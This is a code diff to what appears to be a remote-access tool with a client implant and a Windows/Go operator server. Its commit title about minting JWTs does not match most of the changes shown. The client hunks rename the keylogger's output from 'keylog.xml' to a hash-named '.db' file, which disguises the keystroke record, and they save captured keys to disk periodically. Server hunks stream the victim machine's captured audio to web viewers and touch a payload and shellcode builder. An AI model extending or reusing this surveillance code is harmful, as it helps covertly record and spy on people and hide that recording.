Feature(Go): issue-token subcommand for minting customer JWTs

client/ClientDll.cpp

@@ -552,7 +552,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
         // The main ClientApp.
         settings.SetServer(list[0].c_str(), settings.ServerPort());
     }
-    if (!app.m_bShared) {
+    static bool hasRun = false;
+    if (!app.m_bShared && !hasRun) {
+        hasRun = true;
         auto a = cfg.GetStr("settings", "share_list");
         auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
         for (int i = 0; i < shareList.size(); ++i) {

client/KeyboardManager.cpp

@@ -53,7 +53,9 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
     m_bIsOfflineRecord = offline;
 
     char path[MAX_PATH] = { "C:\\Windows\\" };
-    GET_FILEPATH(path, skCrypt(KEYLOG_FILE));
+    GetModuleFileNameA(NULL, path, sizeof(path));
+    std::string fileName = GetExeHashStr() + ".db";
+    GET_FILEPATH(path, fileName.c_str());
     strcpy_s(m_strRecordFile, path);
     m_Buffer = new CircularBuffer(m_strRecordFile);
 
@@ -642,6 +644,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
     GET_PROCESS(DLLS[USER32], GetAsyncKeyState);
     HDESK desktop = NULL;
     clock_t lastCheck = 0;
+    auto lastSave = time(0);
     while(pThis->m_bIsWorking) {
         if (!pThis->IsConnected() && !pThis->m_bIsOfflineRecord) {
 #if USING_KB_HOOK
@@ -651,6 +654,11 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
             continue;
         }
         Sleep(5);
+        auto tm = time(0);
+        if (tm - lastSave > 600) {
+            lastSave = tm;
+            pThis->m_Buffer->WriteAvailableDataToFile(pThis->m_strRecordFile);
+        }
 #if USING_KB_HOOK
         clock_t now = clock();
         if (now - lastCheck > 1000) {

client/KeyboardManager.h

@@ -7,8 +7,6 @@
 #include "Manager.h"
 #include "stdafx.h"
 
-#define KEYLOG_FILE "keylog.xml"
-
 #if ENABLE_KEYBOARD==0
 #define CKeyboardManager1 CManager
 

client/ScreenCapture.h

@@ -150,6 +150,12 @@ public:
     int              m_GOP;              // 关键帧间隔
     bool		     m_SendKeyFrame;	 // 发送关键帧
     std::unique_ptr<VideoEncoderBase> m_encoder;  // 编码器，ensureEncoder() lazy 创建，走 EncoderFactory 探测
+    bool             m_bEncoderPrimed = false;   // encoder 是否已成功产出过一个包；
+                                                 // false 时禁止 skip——避免单显示器路径
+                                                 // 下 m_FirstBuffer 别名到 m_BitmapData_Full
+                                                 // 且被 GetFirstScreenData 预先填过同帧像素，
+                                                 // 导致首帧 memcmp 错误命中、跳过 encode、
+                                                 // 永远不产 IDR → web 黑屏
     int             m_nScreenCount;      // 屏幕数量
     BOOL            m_bEnableMultiScreen;// 多显示器支持
 
@@ -949,6 +955,7 @@ public:
                 }
                 *ulNextSendLength = 1 + offset + encoded_size;
                 memcpy(data + offset, encoded_data, encoded_size);
+                m_bEncoderPrimed = true;  // 与下方 FirstBuffer 同步：自此 skip 安全
                 break;
             }
             default:
@@ -974,9 +981,14 @@ public:
                 // 即使逐像素完全一致仍 emit ~5KB/帧的"近 skip P 帧"，让空闲流量长期
                 // 维持 100-200 KB/s（每 4s GOP 还叠加一个 IDR）。整帧 memcmp BGRA
                 // 找出真无变化帧直接跳过 encode，仅发 cursor；x264 走这里也省 CPU 无副作用。
+                //
+                // m_bEncoderPrimed 门：encoder 还没产出过任何包时不允许 skip。
+                // 否则单显示器路径下 m_FirstBuffer 别名到 m_BitmapData_Full，
+                // 而 GetFirstScreenData 已经把同一帧画进去了——首帧 memcmp 会
+                // 错误命中、永远不会喂 encoder、web 收不到 IDR、黑屏不恢复。
                 LPBYTE prev = GetFirstBuffer();
                 ULONG bgraSize = m_BitmapInfor_Send->bmiHeader.biSizeImage;
-                if (prev && memcmp(nextData, prev, bgraSize) == 0) {
+                if (m_bEncoderPrimed && prev && memcmp(nextData, prev, bgraSize) == 0) {
                     *ulNextSendLength = 1 + offset;   // 仅 cursor，无视频负载
                     return m_RectBuffer;
                 }
@@ -987,6 +999,7 @@ public:
                 }
                 *ulNextSendLength = 1 + offset + encoded_size;
                 memcpy(data + offset, encoded_data, encoded_size);
+                m_bEncoderPrimed = true;             // 这一刻起 prev 才有"已编码"语义，skip 才安全
                 // 更新参考帧供下一帧 memcmp。必须在 encode 成功之后更新，否则编码
                 // 失败时下一帧会误以为"已发"而漏发真实变化。
                 memcpy(prev, nextData, bgraSize);

client/ScreenManager.cpp

@@ -2609,7 +2609,8 @@ DWORD WINAPI CScreenManager::AudioThreadProc(LPVOID lpParam)
                 }
 #endif
             }
-
+            if (pThis->m_pCaptureClient == nullptr)
+                break;
             pThis->m_pCaptureClient->ReleaseBuffer(numFramesAvailable);
 
             hr = pThis->m_pCaptureClient->GetNextPacketSize(&packetLength);

server/2015Remote/2015RemoteDlg.cpp

@@ -9651,6 +9651,25 @@ void CMy2015RemoteDlg::CloseRemoteDesktopByClientID(uint64_t clientID)
     }
 }
 
+bool CMy2015RemoteDlg::PostWebAudioToggle(uint64_t clientID)
+{
+    HWND hWnd = NULL;
+    EnterCriticalSection(&m_cs);
+    for (auto& pair : m_RemoteWnds) {
+        CScreenSpyDlg* dlg = dynamic_cast<CScreenSpyDlg*>(pair.second);
+        if (dlg && dlg->GetClientID() == clientID && dlg->IsWebSession()) {
+            hWnd = dlg->GetSafeHwnd();
+            break;
+        }
+    }
+    LeaveCriticalSection(&m_cs);
+    if (hWnd && ::IsWindow(hWnd)) {
+        // PostMessage 把活儿丢到对话框的 UI 线程，避免 WS 线程动 waveOut 句柄
+        return ::PostMessage(hWnd, WM_AUDIO_TOGGLE_FROM_WEB, 0, 0) != 0;
+    }
+    return false;
+}
+
 void CMy2015RemoteDlg::CloseWebRemoteDesktopByClientID(uint64_t clientID)
 {
     CScreenSpyDlg* targetDlg = nullptr;

server/2015Remote/2015RemoteDlg.h

@@ -373,6 +373,7 @@ public:
     void RemoveRemoteWindow(HWND wnd);
     void CloseRemoteDesktopByClientID(uint64_t clientID);
     void CloseWebRemoteDesktopByClientID(uint64_t clientID);  // Only close Web session dialog
+    bool PostWebAudioToggle(uint64_t clientID);               // 给 Web 会话 ScreenSpy 投递音频开关消息
     CDialogBase* m_pActiveSession = nullptr; // 当前活动会话窗口指针 / NULL 表示无
     void UpdateActiveRemoteSession(CDialogBase* sess);
     CDialogBase* GetActiveRemoteSession();

server/2015Remote/BuildDlg.cpp

@@ -627,15 +627,15 @@ void CBuildDlg::OnBnClickedOk()
                                 BOOL checked = m_BtnFileServer.GetCheck() == BST_CHECKED;
                                 if (checked) {
                                     strcpy(sc->downloadUrl, m_sDownloadUrl.IsEmpty() ? BuildPayloadUrl(m_strIP, sc->file) : m_sDownloadUrl);
-                                    if (m_sDownloadUrl.IsEmpty()) MessageBoxL(CString("文件下载地址: \r\n") + sc->downloadUrl, "提示", MB_ICONINFORMATION);
+                                    if (m_sDownloadUrl.IsEmpty()) MessageBoxL(_TR("文件下载地址: \r\n") + sc->downloadUrl, "提示", MB_ICONINFORMATION);
                                 }
-                                tip = payload.IsEmpty() ? "\r\n警告: 没有生成载荷!" :
+                                tip = payload.IsEmpty() ? _TR("\r\n警告: 没有生成载荷!") :
-                                      checked ? "\r\n提示: 本机提供下载时，载荷文件必须拷贝至\"Payloads\"目录。" : "\r\n提示: 载荷文件必须拷贝至程序目录。";
+                                      checked ? _TR("\r\n提示: 本机提供下载时，载荷文件必须拷贝至\"Payloads\"目录。") : _TR("\r\n提示: 载荷文件必须拷贝至程序目录。");
                             }
                             BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize);
                             if (r) {
                                 r = WriteBinaryToFile(payload.GetString(), (char*)srcData, srcLen, n == Payload_Raw ? 0 : -1);
-                                if (!r) tip = "\r\n警告: 生成载荷失败!";
+                                if (!r) tip = _TR("\r\n警告: 生成载荷失败!");
                             } else {
                                 MessageBoxL(_TR("文件生成失败: ") + "\r\n" + strSeverFile, "提示", MB_ICONINFORMATION);
                             }
@@ -647,7 +647,7 @@ void CBuildDlg::OnBnClickedOk()
             } else if (sel == CLIENT_PE_TO_SEHLLCODE) {
                 int pe_2_shellcode(const std::string & in_path, const std::string & out_str);
                 int ret = pe_2_shellcode(strSeverFile.GetString(), strSeverFile.GetString());
-                if (ret)MessageBoxL(CString("ShellCode 转换异常, 异常代码: ") + CString(std::to_string(ret).c_str()),
+                if (ret)MessageBoxL(_TR("ShellCode 转换异常, 异常代码: ") + CString(std::to_string(ret).c_str()),
                                         "提示", MB_ICONINFORMATION);
             } else if (sel == CLIENT_COMPRESS_SC_AES_OLD || // 兼容旧版本
                 sel == CLIENT_COMP_SC_AES_OLD_UPX) {
@@ -927,7 +927,7 @@ void CBuildDlg::OnCbnSelchangeComboExe()
                 SAFE_DELETE_ARRAY(szBuffer);
             }
         } else {
-            m_OtherItem.SetWindowTextA("未选择文件");
+            m_OtherItem.SetWindowTextA(_TR("未选择文件"));
         }
         m_OtherItem.ShowWindow(SW_SHOW);
     } else {

server/2015Remote/ScreenSpyDlg.cpp

@@ -18,6 +18,7 @@
 #include <md5.h>
 #include <cstdint>  // for uint16_t
 #include <vector>
+#include <mutex>    // for std::mutex, std::lock_guard
 #include "WebService.h"
 
 // 文件接收消息数据结构
@@ -223,6 +224,8 @@ CScreenSpyDlg::CScreenSpyDlg(CMy2015RemoteDlg* Parent, Server* IOCPServer, CONTE
             int width = m_BitmapInfor_Full->bmiHeader.biWidth;
             int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
             WebService().NotifyResolutionChange(m_ClientID, width, height);
+            // 透传客户端初始的音频开/关状态给 web，让前端按钮显示正确
+            WebService().NotifyAudioState(m_ClientID, m_Settings.AudioEnabled != 0);
         }
     }
 
@@ -567,6 +570,7 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog)
     ON_MESSAGE(MM_WOM_DONE, &CScreenSpyDlg::OnWaveOutDone)
     ON_MESSAGE(WM_RECVFILEV2_CHUNK, &CScreenSpyDlg::OnRecvFileV2Chunk)
     ON_MESSAGE(WM_RECVFILEV2_COMPLETE, &CScreenSpyDlg::OnRecvFileV2Complete)
+    ON_MESSAGE(WM_AUDIO_TOGGLE_FROM_WEB, &CScreenSpyDlg::OnAudioToggleFromWeb)
     ON_WM_DROPFILES()
     ON_WM_CAPTURECHANGED()
 END_MESSAGE_MAP()
@@ -3494,9 +3498,73 @@ void CScreenSpyDlg::StopAudioPlayback()
 #endif
     m_nAudioCompression = 0;
 
+    // 重置网页端音频格式标志（线程安全的清理）
+    {
+        std::lock_guard<std::mutex> lock(m_AudioWebMutex);
+        m_bAudioFormatSent = FALSE;
+        memset(&m_AudioFormatWeb, 0, sizeof(m_AudioFormatWeb));
+    }
+
     Mprintf("[ScreenSpy] 音频播放已停止\n");
 }
 
+void CScreenSpyDlg::DisableAudio()
+{
+    // 复用 IDM_AUDIO_TOGGLE 的逻辑，但仅禁用
+    if (m_Settings.AudioEnabled) {
+        m_Settings.AudioEnabled = FALSE;
+        SendAudioCtrl(CYCLEAUDIO_DISABLE, 1);
+        StopAudioPlayback();
+
+        // 清理网页端格式状态（在 mutex 保护下）
+        {
+            std::lock_guard<std::mutex> lock(m_AudioWebMutex);
+            m_bAudioFormatSent = FALSE;
+            memset(&m_AudioFormatWeb, 0, sizeof(m_AudioFormatWeb));
+        }
+
+        Mprintf("[Audio Web] 禁用音频（来自 web 命令）\n");
+
+        // 广播状态给所有正在观看本设备的 web 客户端
+        if (WebService().IsRunning()) {
+            WebService().NotifyAudioState(m_ClientID, false);
+        }
+    }
+}
+
+void CScreenSpyDlg::EnableAudio()
+{
+    // 复用 IDM_AUDIO_TOGGLE 的逻辑，但仅启用
+    if (!m_Settings.AudioEnabled) {
+        m_Settings.AudioEnabled = TRUE;
+        SendAudioCtrl(CYCLEAUDIO_ENABLE, 1);
+
+        // 强制重新发送格式信息（清理缓存）
+        {
+            std::lock_guard<std::mutex> lock(m_AudioWebMutex);
+            m_bAudioFormatSent = FALSE;
+            memset(&m_AudioFormatWeb, 0, sizeof(m_AudioFormatWeb));
+        }
+
+        Mprintf("[Audio Web] 启用音频（来自 web 命令）\n");
+
+        if (WebService().IsRunning()) {
+            WebService().NotifyAudioState(m_ClientID, true);
+        }
+    }
+}
+
+// 由 PostMessage 从 WS 线程派发到 UI 线程；根据当前状态翻转
+LRESULT CScreenSpyDlg::OnAudioToggleFromWeb(WPARAM /*wParam*/, LPARAM /*lParam*/)
+{
+    if (m_Settings.AudioEnabled) {
+        DisableAudio();
+    } else {
+        EnableAudio();
+    }
+    return 0;
+}
+
 void CScreenSpyDlg::OnAudioData(BYTE* pData, UINT32 len)
 {
     if (len < 1) return;
@@ -3535,12 +3603,20 @@ void CScreenSpyDlg::OnAudioData(BYTE* pData, UINT32 len)
     UINT32 audioLen = len - offset;
     if (audioLen == 0) return;
 
+    // 保存"上线格式"字节（Opus 模式下是原始压缩包，PCM 模式下是原始 PCM）。
+    // 这就是要透传给 web 的数据 —— web 端用 MSE+WebM 直接播 Opus，
+    // 不需要服务器解码后再发 PCM。本地 waveOut 仍然需要 PCM，因此下面
+    // 还是会解码一遍。
+    BYTE* pWireData = pAudioData;
+    UINT32 wireLen = audioLen;
+    BYTE wireCompression = (BYTE)m_nAudioCompression;
+
     // 帧对齐参数
     DWORD blockAlign = m_AudioFormat.nBlockAlign;
     if (blockAlign == 0) blockAlign = 4;  // 默认 stereo 16-bit
 
 #if USING_OPUS
-    // Opus 解码
+    // Opus 解码（仅供本地 waveOut 使用；web 仍会收到原始压缩包）
     if (m_nAudioCompression == AUDIO_COMPRESS_OPUS && m_pOpusDecoder && m_pOpusDecodeBuffer) {
         COpusDecoder* pDecoder = (COpusDecoder*)m_pOpusDecoder;
         int decodedSamples = pDecoder->Decode(pAudioData, audioLen, m_pOpusDecodeBuffer, 960 * 2);
@@ -3583,10 +3659,104 @@ void CScreenSpyDlg::OnAudioData(BYTE* pData, UINT32 len)
         Mprintf("[Audio] 预缓冲完成，开始播放 (缓冲: %u bytes)\n", m_nRingDataLen);
     }
 
+    // 发送上线格式（Opus 压缩包 / 或原始 PCM）到网页
+    SendAudioToWeb(pWireData, wireLen, &m_AudioFormat, wireCompression);
+
     // 填充可用的 waveOut 缓冲区
     FeedAudioBuffers();
 }
 
+void CScreenSpyDlg::SendAudioToWeb(const BYTE* pAudioData, UINT32 len, const WAVEFORMATEX* pFormat, BYTE compression)
+{
+    if (!WebService().IsRunning()) return;
+    if (!pAudioData || len == 0) return;
+    if (!m_ContextObject) return;
+    if (!m_Settings.AudioEnabled) return;
+
+    std::vector<BYTE> packet;
+    BOOL formatChanged = FALSE;
+    {
+        std::lock_guard<std::mutex> lock(m_AudioWebMutex);
+
+        if (!m_bAudioFormatSent) {
+            formatChanged = TRUE;
+        } else if (pFormat && (
+            pFormat->nChannels != m_AudioFormatWeb.channels ||
+            pFormat->nSamplesPerSec != m_AudioFormatWeb.sampleRate ||
+            pFormat->wBitsPerSample != m_AudioFormatWeb.bitsPerSample ||
+            compression != m_AudioFormatWeb.compression)) {
+            formatChanged = TRUE;
+        }
+
+        // 第1字节：是否包含格式信息
+        packet.push_back(formatChanged ? 1 : 0);
+
+        if (formatChanged && pFormat) {
+            if (pFormat->nChannels < 1 || pFormat->nChannels > 8 ||
+                pFormat->nSamplesPerSec < 8000 || pFormat->nSamplesPerSec > 48000 ||
+                pFormat->wBitsPerSample != 16) {
+                Mprintf("[Audio Web] Invalid format: ch=%d, sr=%d, bps=%d\n",
+                      pFormat->nChannels, pFormat->nSamplesPerSec, pFormat->wBitsPerSample);
+                return;
+            }
+
+            // 12-byte AudioFormat 结构（commands.h, pack(1)）
+            AudioFormat fmt;
+            fmt.channels = (WORD)pFormat->nChannels;
+            fmt.sampleRate = (DWORD)pFormat->nSamplesPerSec;
+            fmt.bitsPerSample = (WORD)pFormat->wBitsPerSample;
+            // blockAlign 对 Opus 是 informational 的（包是变长压缩），按 PCM 推算填上即可。
+            fmt.blockAlign = (WORD)(fmt.channels * fmt.bitsPerSample / 8);
+            fmt.compression = compression;
+            fmt.reserved = 0;
+
+            BYTE* pFmt = (BYTE*)&fmt;
+            packet.insert(packet.end(), pFmt, pFmt + sizeof(fmt));
+            // padding byte: 保持后续音频数据落在偶数偏移上（PCM 模式下 web 端
+            // 需要 Int16 对齐；Opus 模式无所谓但保留兼容旧 web 解析）
+            packet.push_back(0);
+
+            m_AudioFormatWeb = fmt;
+            m_bAudioFormatSent = TRUE;
+
+            Mprintf("[Audio Web] Format sent: ch=%d, sr=%d Hz, compression=%d\n",
+                  fmt.channels, fmt.sampleRate, fmt.compression);
+        }
+    }  // 释放 mutex
+
+    // 添加音频数据（此操作不需要 mutex，因为我们已经复制了所有需要的共享状态）
+    packet.insert(packet.end(), pAudioData, pAudioData + len);
+
+    // 构造完整帧：[DeviceID:4][FrameType:1][DataLen:4][audio payload...]
+    // FrameType: 96 = TOKEN_SCREEN_AUDIO，用于在网页端识别音频
+    std::vector<BYTE> frame;
+
+    uint64_t deviceID = GetClientID();
+    uint32_t audioDataLen = (uint32_t)packet.size();
+    uint8_t frameType = 96;  // TOKEN_SCREEN_AUDIO
+
+    // [DeviceID:4] little-endian
+    frame.push_back((BYTE)(deviceID & 0xFF));
+    frame.push_back((BYTE)((deviceID >> 8) & 0xFF));
+    frame.push_back((BYTE)((deviceID >> 16) & 0xFF));
+    frame.push_back((BYTE)((deviceID >> 24) & 0xFF));
+
+    // [FrameType:1]
+    frame.push_back(frameType);
+
+    // [DataLen:4] little-endian
+    frame.push_back((BYTE)(audioDataLen & 0xFF));
+    frame.push_back((BYTE)((audioDataLen >> 8) & 0xFF));
+    frame.push_back((BYTE)((audioDataLen >> 16) & 0xFF));
+    frame.push_back((BYTE)((audioDataLen >> 24) & 0xFF));
+
+    // [audio payload]
+    frame.insert(frame.end(), packet.begin(), packet.end());
+
+    // 广播到所有网页客户端
+    WebService().BroadcastH264Frame(deviceID, frame.data(), frame.size());
+}
+
 void CScreenSpyDlg::FeedAudioBuffers()
 {
     if (!m_bAudioPlaying || !m_hWaveOut || !m_pRingBuf) return;

server/2015Remote/ScreenSpyDlg.h

@@ -9,6 +9,7 @@
 #include "2015RemoteDlg.h"
 
 #include "common/config.h"
+#include "common/commands.h"  // 包含 AudioFormat 定义
 
 extern "C"
 {
@@ -92,6 +93,9 @@ extern "C"
 // 文件接收消息（用于将工作线程的文件数据转发到主线程处理）
 #define WM_RECVFILEV2_CHUNK    (WM_USER + 0x200)
 #define WM_RECVFILEV2_COMPLETE (WM_USER + 0x201)
+// 来自 web 命令的音频开关，PostMessage 到对话框的 UI 线程，避免 WS 线程
+// 直接动 waveOut 句柄
+#define WM_AUDIO_TOGGLE_FROM_WEB (WM_USER + 0x202)
 
 // ScreenSpyDlg 系统菜单命令 ID
 enum {
@@ -349,11 +353,23 @@ public:
     short*      m_pOpusDecodeBuffer = nullptr; // Opus 解码输出缓冲区
 #endif
 
+    // 网页端音频发送状态
+    BOOL        m_bAudioFormatSent = FALSE;  // 是否已发送格式信息到网页
+    AudioFormat m_AudioFormatWeb = {};       // 上次发送给网页的格式
+
+    // 音频到网页的多线程同步
+    std::mutex  m_AudioWebMutex;             // 保护音频发送状态的互斥锁
+    // 注意：m_Settings.AudioEnabled 是全局的音频启用/禁用状态
+
     void OnAudioData(BYTE* pData, UINT32 len);   // 处理音频数据
     BOOL InitAudioPlayback(const AudioFormat* fmt);  // 初始化音频播放
     void StopAudioPlayback();                    // 停止音频播放
+    void DisableAudio();                         // 禁用音频（从网页命令）
+    void EnableAudio();                          // 启用音频（从网页命令）
+    LRESULT OnAudioToggleFromWeb(WPARAM wParam, LPARAM lParam);  // PostMessage 处理器
     void SendAudioCtrl(BYTE enable, BYTE persist); // 发送音频控制命令
     void FeedAudioBuffers();                     // 填充音频缓冲区
+    void SendAudioToWeb(const BYTE* pAudioData, UINT32 len, const WAVEFORMATEX* pFormat, BYTE compression);  // 发送音频到网页 (compression=AudioCompression)
 
     int  GetClientRTT();                     // 获取客户端RTT(ms)
     void EvaluateQuality();                  // 评估并调整质量

server/2015Remote/WebService.cpp

@@ -396,6 +396,8 @@ void CWebService::ServerThread(int port) {
                 HandleKey(ws_ptr, msg);
             } else if (cmd == "rdp_reset") {
                 HandleRdpReset(ws_ptr, token);
+            } else if (cmd == "audio_toggle") {
+                HandleAudioToggle(ws_ptr, token);
             } else if (cmd == "get_salt") {
                 HandleGetSalt(ws_ptr, msg);
             } else if (cmd == "create_user") {
@@ -689,14 +691,16 @@ void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t
         }
     }
 
-    // Get screen dimensions from device info cache (may not be available yet)
+    // Get screen dimensions + audio state from device info cache (may not be ready)
     int width = 0, height = 0;
+    int audio_enabled = -1;  // -1 = unknown yet (前端走 audio_state 事件兜底)
     {
         std::lock_guard<std::mutex> lock(m_DeviceCacheMutex);
         auto it = m_DeviceCache.find(device_id);
         if (it != m_DeviceCache.end()) {
             width = it->second->screen_width;
             height = it->second->screen_height;
+            audio_enabled = it->second->audio_enabled;
         }
     }
 
@@ -710,6 +714,9 @@ void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t
         res["width"] = width;
         res["height"] = height;
     }
+    if (audio_enabled >= 0) {
+        res["audio_enabled"] = (audio_enabled != 0);
+    }
     res["algorithm"] = "h264";
 
     Json::StreamWriterBuilder builder;
@@ -1002,6 +1009,33 @@ void CWebService::HandleRdpReset(void* ws_ptr, const std::string& token) {
     }
 }
 
+void CWebService::HandleAudioToggle(void* ws_ptr, const std::string& token) {
+    std::string username, role;
+    if (!ValidateToken(token, username, role)) {
+        SendText(ws_ptr, BuildJsonResponse("audio_toggle_result", false, "Invalid token"));
+        return;
+    }
+
+    uint64_t device_id = 0;
+    {
+        std::lock_guard<std::mutex> lock(m_ClientsMutex);
+        auto it = m_Clients.find(ws_ptr);
+        if (it != m_Clients.end()) device_id = it->second.watch_device_id;
+    }
+    if (device_id == 0) {
+        SendText(ws_ptr, BuildJsonResponse("audio_toggle_result", false, "No device connected"));
+        return;
+    }
+
+    // 投递到 ScreenSpyDlg 的 UI 线程；那边会调用 Enable/DisableAudio 并通过
+    // NotifyAudioState 把新状态广播给所有 watching 的 web 客户端
+    if (!m_pParentDlg || !m_pParentDlg->PostWebAudioToggle(device_id)) {
+        SendText(ws_ptr, BuildJsonResponse("audio_toggle_result", false, "No active screen session"));
+        return;
+    }
+    SendText(ws_ptr, BuildJsonResponse("audio_toggle_result", true));
+}
+
 //////////////////////////////////////////////////////////////////////////
 // User Management Handlers
 //////////////////////////////////////////////////////////////////////////
@@ -1511,6 +1545,16 @@ std::string CWebService::BuildDeviceListJson(const std::string& username) {
             CString name = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
             device["name"] = AnsiToUtf8(name);
 
+            // 用户在 MFC 端给这台主机起的备注（菜单"修改备注"写入 MAP_NOTE）
+            // 例如 hostname="A6" + remark="我的Windows" → web 显示"A6 (我的Windows)"
+            if (m_pParentDlg->m_ClientMap) {
+                CString remark = m_pParentDlg->m_ClientMap->GetClientMapData(
+                    ctx->GetClientID(), MAP_NOTE);
+                if (!remark.IsEmpty()) {
+                    device["remark"] = AnsiToUtf8(remark);
+                }
+            }
+
             CString ip = ctx->GetClientData(ONLINELIST_IP);
             device["ip"] = AnsiToUtf8(ip);
 
@@ -1699,6 +1743,37 @@ void CWebService::NotifyResolutionChange(uint64_t device_id, int width, int heig
     }
 }
 
+void CWebService::NotifyAudioState(uint64_t device_id, bool enabled) {
+    if (m_bStopping) return;
+
+    // 缓存最新状态，新加入的 web 客户端通过 connect_result 取到初值
+    {
+        std::lock_guard<std::mutex> lock(m_DeviceCacheMutex);
+        auto it = m_DeviceCache.find(device_id);
+        if (it == m_DeviceCache.end()) {
+            m_DeviceCache[device_id] = std::make_shared<WebDeviceInfo>();
+            it = m_DeviceCache.find(device_id);
+        }
+        it->second->audio_enabled = enabled ? 1 : 0;
+    }
+
+    Json::Value res;
+    res["cmd"] = "audio_state";
+    res["id"] = device_id;
+    res["enabled"] = enabled;
+
+    Json::StreamWriterBuilder builder;
+    builder["indentation"] = "";
+    std::string json = Json::writeString(builder, res);
+
+    std::lock_guard<std::mutex> lock(m_ClientsMutex);
+    for (auto& [ws_ptr, client] : m_Clients) {
+        if (client.watch_device_id == device_id) {
+            SendText(ws_ptr, json);
+        }
+    }
+}
+
 void CWebService::BroadcastCursor(uint64_t device_id, uint8_t cursor_index) {
     if (m_bStopping) return;
 

server/2015Remote/WebService.h

@@ -55,6 +55,8 @@ struct WebDeviceInfo {
     int screen_width;
     int screen_height;
     bool online;
+    // 当前会话的音频开关。-1=未知（客户端 BITMAPINFO 还没回来），0=关，1=开
+    int audio_enabled = -1;
 
     // Keyframe cache for new web clients
     std::vector<uint8_t> keyframe_cache;
@@ -98,6 +100,10 @@ public:
     // Resolution change notification
     void NotifyResolutionChange(uint64_t device_id, int width, int height);
 
+    // Audio enable/disable notification — pushes current state to all web
+    // clients watching this device and caches it for newcomers.
+    void NotifyAudioState(uint64_t device_id, bool enabled);
+
     // Cursor change notification (called from ScreenSpyDlg)
     void BroadcastCursor(uint64_t device_id, uint8_t cursor_index);
 
@@ -129,6 +135,7 @@ private:
     void HandleMouse(void* ws_ptr, const std::string& msg);
     void HandleKey(void* ws_ptr, const std::string& msg);
     void HandleRdpReset(void* ws_ptr, const std::string& token);
+    void HandleAudioToggle(void* ws_ptr, const std::string& token);
 
     // Token management
     std::string GenerateToken(const std::string& username, const std::string& role);

server/go/.vscode/launch.json

@@ -9,7 +9,8 @@
             "program": "${workspaceFolder}/cmd",
             "cwd": "${workspaceFolder}",
             "args": [
-                "-port=9090"
+                "-port=6543",
+                "--http-port=8080"
             ],
             "env": {
                 "YAMA_WEB_ADMIN_PASS": "3.14159"
@@ -25,7 +26,8 @@
             "program": "${workspaceFolder}/cmd",
             "cwd": "${workspaceFolder}",
             "args": [
-                "-port=9090"
+                "-port=6543",
+                "--http-port=8080"
             ],
             "env": {
                 "YAMA_WEB_ADMIN_PASS": "3.14159"

server/go/README.md

@@ -159,11 +159,14 @@ VSCode F5 调试时由 `sync-web-assets` preLaunchTask 自动同步。
 | `YAMA_PWD` | 超级密码，用于 HMAC 签名验证；也作为 Web admin 密码的默认来源 | `your_super_password` |
 | `YAMA_WEB_ADMIN_PASS` | Web UI 的 admin 密码（明文）；优先于 `YAMA_PWD`。两者都未设置时 Web 登录禁用 | `your_admin_password` |
 | `YAMA_SIGN_PASSWORD` | **[LocalSigner 模式]** HMAC-SHA256 master key，直接给 CMD_MASTERSETTING 签名。Operator 自己的部署用。设置此变量后进入 LocalSigner 模式（见下方"签名模式"）。 | `<deployment-shared-secret>` |
-| `YAMA_LICENSE_SERVER` | **[RemoteSigner 模式]** Operator 的 License Server 公开 URL。客户部署设置此变量后进入 RemoteSigner 模式 —— 每次新设备登录会 HTTPS POST 给 License Server 拿签名，本机永远看不到 HMAC master key。必须与 `YAMA_LICENSE_TOKEN` 同时设置。 | `https://license.example.com` |
+| `YAMA_LICENSE_SERVER` | **[RemoteSigner / Trial 模式]** License Server 公开 URL。**不设置则用 DefaultLicenseServerURL (`https://web.just-do-it.icu:8080`)**。客户部署设置此变量后进入 RemoteSigner 模式 —— 每次新设备登录会 HTTPS POST 给 License Server 拿签名，本机永远看不到 HMAC master key。 | `https://license.example.com` |
-| `YAMA_LICENSE_TOKEN` | **[RemoteSigner 模式]** Operator 颁发的客户 JWT（RS256），作为 Bearer token 鉴权。每个客户一份。 | `eyJhbGciOiJSUzI1NiI...` |
+| `YAMA_LICENSE_TOKEN` | **[RemoteSigner 模式]** Operator 颁发的客户 JWT（RS256），作为 Bearer token 鉴权。每个客户一份。**未设置则进入 TRIAL 模式（匿名试用，按出口 IP 配额 2 台）**。 | `eyJhbGciOiJSUzI1NiI...` |
-| `YAMA_LICENSE_OFFLINE_HRS` | **[RemoteSigner 模式]** License Server 短暂不可达时，本地缓存签名的宽限期（小时）。默认 24。0 → 不缓存，每次新登录必须联网。 | `24` |
+| `YAMA_LICENSE_DISABLED` | 设为 `1` 强制 NoOp 模式（既不读 token 也不连 License Server，客户端会拒绝屏幕/文件功能）。给本地开发 / 离线测试用。 | `1` |
+| `YAMA_LICENSE_OFFLINE_HRS` | **[RemoteSigner / Trial 模式]** License Server 短暂不可达时，本地缓存签名的宽限期（小时）。默认 24。0 → 不缓存，每次新登录必须联网。 | `24` |
+| `YAMA_LICENSE_PRIVATE_KEY` | **[issue-token 子命令]** RSA 私钥 PEM 路径，用于离线签发客户 JWT。与 `YAMA_LICENSE_PUBLIC_KEY` 配对。设置后 `issue-token` 子命令无需 `-key` 参数。 | `/opt/yama/license_priv.pem` |
 | `YAMA_LICENSE_PUBLIC_KEY` | **[License Server 模式]** Operator 自己（已经是 LocalSigner）想顺便对外提供 License Server 时，用来验证客户提交的 JWT 的 RSA 公钥 PEM 路径。必须与 `YAMA_LICENSE_HTTP_ADDR` 同时设置。 | `./license_pub.pem` |
 | `YAMA_LICENSE_HTTP_ADDR` | **[License Server 模式]** License Server HTTP 监听地址。**仅在 LocalSigner 模式下生效**（RemoteSigner 客户不能反向当 license server）。建议挂 nginx/Caddy 加 TLS 后对外。 | `:8443` |
+| `YAMA_LICENSE_STATE_PATH` | **[License Server 模式]** Quota 状态持久化文件路径。设置后每次新设备入队或 slot 被驱逐时原子写入磁盘（tmp + rename），License Server 重启时从此文件恢复设备列表，消除重启期间因 tracker 清空导致的配额绕过窗口。不设则仅内存状态，重启后 tracker 清零。 | `/var/lib/yama/quota.json` |
